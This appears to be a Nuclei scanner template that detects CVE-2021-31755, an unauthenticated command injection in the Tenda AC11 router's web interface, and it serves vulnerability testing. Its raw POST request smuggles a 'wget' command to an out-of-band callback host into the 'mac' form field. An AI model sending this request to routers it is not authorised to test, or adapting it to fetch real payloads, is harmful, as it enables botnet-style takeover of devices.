2021-07-15 06:09:26 +00:00
id : CVE-2021-31755
info :
name : Tenda Router AC11 RCE
description : Vulnerabilities in the web-based management interface of enda Router AC11 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
author : gy741
severity : critical
2021-08-18 11:37:49 +00:00
reference :
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- https://github.com/Yu3H0/IoT_CVE/tree/main/Tenda/CVE_3
- https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
2022-01-15 20:38:21 +00:00
tags : cve,cve2021,tenda,rce,oast,router,mirai
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.80
cve-id : CVE-2021-31755
cwe-id : CWE-787
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requests :
- raw :
- |
POST /goform/setmac HTTP/1.1
Host : {{Hostname}}
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Origin : {{BaseURL}}
Referer : {{BaseURL}}/index.htmlr
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Content-Type : application/x-www-form-urlencoded
module1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&mac=wget+http://{{interactsh-url}}&wifiSecurityMode=WPAWPA2%2FAES&wifiPwd=Password12345&wifiHideSSID=false&wifiEn_5G=true&wifiSSID_5G=Tenda_B0E040_5G&wifiSecurityMode_5G=WPAWPA2%2FAES&wifiPwd_5G=Password12345&wifiHideSSID_5G=false&module2=wifiGuest&guestEn=false&guestEn_5G=false&guestSSID=Tenda_VIP&guestSSID_5G=Tenda_VIP_5G&guestPwd=&guestPwd_5G=&guestValidTime=8&guestShareSpeed=0&module3=wifiPower&wifiPower=high&wifiPower_5G=high&module5=wifiAdvCfg&wifiMode=bgn&wifiChannel=auto&wifiBandwidth=auto&wifiMode_5G=ac&wifiChannel_5G=auto&wifiBandwidth_5G=auto&wifiAntijamEn=false&module6=wifiBeamforming&wifiBeaformingEn=true&module7=wifiWPS&wpsEn=true&wanType=static
matchers :
- type : word
part : interactsh_protocol # Confirms the HTTP Interaction
words :
- "http"